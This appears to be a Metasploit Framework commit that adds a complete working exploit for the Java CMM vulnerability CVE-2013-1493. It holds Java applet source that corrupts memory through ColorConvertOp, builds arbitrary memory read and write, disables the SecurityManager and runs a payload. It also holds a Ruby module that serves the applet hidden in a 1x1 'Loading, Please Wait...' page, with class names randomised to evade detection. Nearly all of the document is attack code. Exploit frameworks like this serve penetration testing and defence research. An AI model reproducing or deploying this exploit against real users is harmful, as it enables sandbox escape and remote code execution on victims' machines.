Merge branch 'java_cmm' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-java_cmm
sinn3r
commit
951f95db05
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import java.applet.Applet;
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import java.awt.color.ColorSpace;
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import java.awt.image.BufferedImage;
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import java.awt.image.ColorConvertOp;
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import java.awt.image.ColorModel;
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import java.awt.image.ComponentColorModel;
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import java.awt.image.ComponentSampleModel;
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import java.awt.image.SampleModel;
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import metasploit.Payload;
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public class Init extends Applet {
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private static final long serialVersionUID = 1L;
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static final int ARRAY_MAGIC = -1341411317;
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static final int ARRAY_OLDSIZE = 11;
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static final int ARRAY_NEWSIZE = 2147483647;
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static final int LEAK_MAGIC = -559035650;
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static final int SPRAY_ARRAY_COUNT = 2808685;
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static final int SPRAY_LEAK_COUNT = 2000000;
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volatile Leak[] _sleaks;
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volatile int[][] _sarrays;
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volatile int[] _bigArray;
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int[] _memBaseObj;
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long _memBaseIdx;
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long _memBasePtr;
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int[] soffsets;
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int[] doffsets;
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public Init()
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{
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this.soffsets = new int[] { 0, 1, 2, 3 };
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this.doffsets = new int[] { 0, 1, 2, 50000000 };
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}
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void spray() throws Exception
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{
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Runtime.getRuntime().gc();
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Runtime.getRuntime().gc();
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this._sleaks = new Leak[2000000];
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this._sarrays = new int[2808685][];
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try
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{
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for (int i = 0; i < this._sarrays.length; i++) {
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this._sarrays[i] = new int[11];
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for (int j = 0; j < this._sarrays[i].length; j++) {
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this._sarrays[i][j] = -1341411317;
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}
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}
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for (int i = 0; i < this._sleaks.length; i++)
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this._sleaks[i] = new Leak("L");
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}
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catch (OutOfMemoryError localOutOfMemoryError)
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{
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}
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}
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void getBigArray() throws Exception
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{
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for (int i = 0; i < this._sarrays.length; i++) {
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for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
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this._sarrays[i][j] = -1341411317;
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}
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}
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for (int i = 0; i < this._sarrays.length; i++) {
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if (this._sarrays[i].length != 2147483647) {
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for (int j = 0; (j < this._sarrays[i].length) && (j < 22); j++) {
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if ((j > 0) && (this._sarrays[i][(j - 1)] != -1341411317) && (this._sarrays[i][j] == -1341411317)) {
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this._sarrays[i][(j - 1)] = 2147483647;
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}
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}
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}
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}
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for (int i = 0; i < this._sarrays.length; i++) {
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if ((this._sarrays[i].length == 11) || (this._bigArray != null) || (this._sarrays[i].length != 2147483647))
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continue;
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this._bigArray = this._sarrays[i];
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}
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if (this._bigArray == null)
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throw new Exception("fail");
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}
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long getAddress(Object obj) throws Exception
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{
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for (int i = 0; i < this._bigArray.length; i++) {
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if (this._bigArray[i] == -559035650) {
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int flag = 0;
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for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = null;
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flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0);
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for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = "X";
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flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0);
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if (flag == 2) {
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for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = obj;
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return this._bigArray[(i + 1)];
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}
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}
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}
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throw new Exception("fail");
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}
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void getMemBase() throws Exception
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{
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for (int i = 0; i < this._sarrays.length; i++) {
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for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
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this._sarrays[i][j] = (j == 1 ? i : -1341411317);
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}
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}
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for (int i = 0; i < this._bigArray.length; i++) {
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if ((i > 0) && (this._bigArray[(i - 1)] != -1341411317) && (this._bigArray[i] == -1341411317) && (this._bigArray[(i + 1)] != -1341411317)) {
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int len = this._bigArray[(i - 1)];
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int idx = this._bigArray[(i + 1)];
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if ((idx >= 0) && (idx < this._sarrays.length) && (this._sarrays[idx] != null) && (this._sarrays[idx].length == len)) {
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this._memBaseObj = this._sarrays[idx];
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this._memBaseIdx = i;
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break;
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}
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}
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}
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if (this._memBaseObj == null) {
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throw new Exception("fail");
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}
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this._memBasePtr = getAddress(this._memBaseObj);
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if (this._memBasePtr == 0L) {
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throw new Exception("fail");
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}
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this._memBasePtr += 12L;
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}
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int rdMem(long addr)
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{
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long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
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if ((offs >= 0L) && (offs < 2147483647L)) {
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return this._bigArray[(int)offs];
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}
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return 0;
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}
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void wrMem(long addr, int value)
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{
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long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
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if ((offs >= 0L) && (offs < 2147483647L))
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this._bigArray[(int)offs] = value;
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}
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void privileged()
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{
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try
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{
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Payload.main(null);
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} catch (Exception localException) {
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//localException.printStackTrace();
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}
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}
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public void init()
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{
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try
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{
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if (System.getSecurityManager() == null) {
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privileged();
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return;
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}
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int sWidth = 168; int sHeight = 1;
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int spStride = 4; int ssStride = spStride * sWidth;
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int dWidth = sWidth; int dHeight = sHeight;
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int dpStride = 1; int dsStride = 0;
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ColorSpace scs = new MyColorSpace(0, this.soffsets.length - 1);
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ColorModel scm = new ComponentColorModel(scs, true, false, 1, 0);
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SampleModel ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.soffsets);
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BufferedImage sbi = new MyBufferedImage(sWidth, sHeight, 6, 0, scm, ssm);
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for (int i = 0; i < ssStride; i++) {
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sbi.getRaster().getDataBuffer().setElem(i, 1);
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}
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ColorSpace dcs = new MyColorSpace(0, this.doffsets.length - 1);
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ColorModel dcm = new ComponentColorModel(dcs, true, false, 1, 0);
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SampleModel dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.doffsets);
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BufferedImage dbi = new MyBufferedImage(sWidth, sHeight, 10, 0, dcm, dsm);
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ColorConvertOp cco = new ColorConvertOp(null);
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spray();
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try
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{
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cco.filter(sbi, dbi);
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}
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catch (Exception localException) { }
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getBigArray();
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getMemBase();
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long sys = getAddress(System.class);
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long sm = getAddress(System.getSecurityManager());
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sys = rdMem(sys + 4L);
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for (int i = 0; i < 2000000; i++) {
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long addr = sys + i * 4;
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int val = rdMem(addr);
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if (val == sm) {
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wrMem(addr, 0);
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if (System.getSecurityManager() == null) {
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break;
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}
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}
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}
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privileged();
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}
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catch (Exception localException1)
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{
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}
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}
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}
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class Leak
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{
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public volatile int magic;
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public volatile Object obj;
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public volatile Object obj2;
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public volatile Object obj3;
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public volatile Object obj4;
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public Leak(Object o)
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{
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this.magic = -559035650;
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this.obj = o;
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}
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}
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CLASSES = \
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Init.java \
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Leak.java \
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MyBufferedImage.java \
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MyColorSpace.java
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.SUFFIXES: .java .class
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.java.class:
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javac -source 1.5 -target 1.5 -cp "../../../../data/java:." $*.java
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all: $(CLASSES:.java=.class)
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install:
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mv Init.class ../../../../data/exploits/cve-2013-1493/
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mv Leak.class ../../../../data/exploits/cve-2013-1493/
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mv MyBufferedImage.class ../../../../data/exploits/cve-2013-1493/
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mv MyColorSpace.class ../../../../data/exploits/cve-2013-1493/
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clean:
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rm -rf *.class
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import java.awt.image.BufferedImage;
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import java.awt.image.ColorModel;
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import java.awt.image.SampleModel;
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class MyBufferedImage extends BufferedImage
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{
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int _fakeType;
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ColorModel _fakeColorModel;
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SampleModel _fakeSampleModel;
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public MyBufferedImage(int width, int height, int imageType, int fakeType, ColorModel fakeColorModel, SampleModel fakeSampleModel)
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{
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super(width,height, imageType);
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this._fakeType = fakeType;
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this._fakeColorModel = fakeColorModel;
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this._fakeSampleModel = fakeSampleModel;
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}
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public int getType()
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{
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String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
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if (caller.contains("ICC_Transform.getImageLayout(")) {
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return this._fakeType;
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}
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return super.getType();
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}
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public ColorModel getColorModel()
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{
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String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
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if ((caller.contains("ICC_Transform.getImageLayout(")) || (caller.contains("CMMImageLayout.<init>("))) {
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return this._fakeColorModel;
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}
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return super.getColorModel();
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}
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public SampleModel getSampleModel()
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{
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String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
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if (caller.contains("ICC_Transform.getImageLayout(")) {
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return this._fakeSampleModel;
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}
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return super.getSampleModel();
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}
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}
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import java.awt.color.ColorSpace;
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class MyColorSpace extends ColorSpace
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{
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private static final long serialVersionUID = 1L;
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public MyColorSpace(int type, int numcomponents)
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{
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super(type,numcomponents);
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}
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public float[] fromCIEXYZ(float[] value) { return null; }
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public float[] toCIEXYZ(float[] value) { return null; }
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public float[] fromRGB(float[] value) { return null; }
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public float[] toRGB(float[] value) { return null; }
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}
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@ -0,0 +1,128 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java CMM Remote Code Execution',
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'Description' => %q{
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This module abuses the Color Management classes from a Java Applet to run
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arbitrary Java code outside of the sandbox as exploited in the wild in February
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and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
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and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
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systems. This exploit doesn't bypass click-to-play, so the user must accept the java
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warning in order to run the malicious applet.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery and Exploit
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'juan vazquez' # Metasploit module (just ported the published exploit)
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],
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'References' =>
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[
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[ 'CVE', '2013-1493' ],
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[ 'OSVDB', '90737' ],
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[ 'BID', '58238' ],
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[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
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[ 'URL', 'http://pastie.org/pastes/6581034' ]
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],
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'Platform' => [ 'win', 'java' ],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Platform' => 'java',
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'Arch' => ARCH_JAVA
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}
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],
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[ 'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86
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}
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]
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],
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'DefaultTarget' => 1,
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'DisclosureDate' => 'Mar 01 2013'
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))
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end
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def setup
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")
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@init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")
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@leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")
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@buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")
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@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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@init_class_name = rand_text_alpha("Init".length)
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@init_class.gsub!("Init", @init_class_name)
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super
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end
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def on_request_uri(cli, request)
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print_status("handling request for #{request.uri}")
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case request.uri
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when /\.jar$/i
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jar = payload.encoded_jar
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jar.add_file("#{@init_class_name}.class", @init_class)
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jar.add_file("Leak.class", @leak_class)
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jar.add_file("MyBufferedImage.class", @buffered_image_class)
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jar.add_file("MyColorSpace.class", @color_space_class)
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metasploit_str = rand_text_alpha("metasploit".length)
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payload_str = rand_text_alpha("payload".length)
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jar.entries.each { |entry|
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entry.name.gsub!("metasploit", metasploit_str)
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entry.name.gsub!("Payload", payload_str)
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entry.data = entry.data.gsub("metasploit", metasploit_str)
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entry.data = entry.data.gsub("Payload", payload_str)
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}
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jar.build_manifest
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send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
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when /\/$/
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payload = regenerate_payload(cli)
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if not payload
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print_error("Failed to generate the payload.")
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send_not_found(cli)
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return
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end
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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else
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send_redirect(cli, get_resource() + '/', '')
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end
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||||
end
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def generate_html
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html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
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html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
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html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|
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html += %Q|</applet></body></html>|
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return html
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||||
end
|
||||
|
||||
end
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||||
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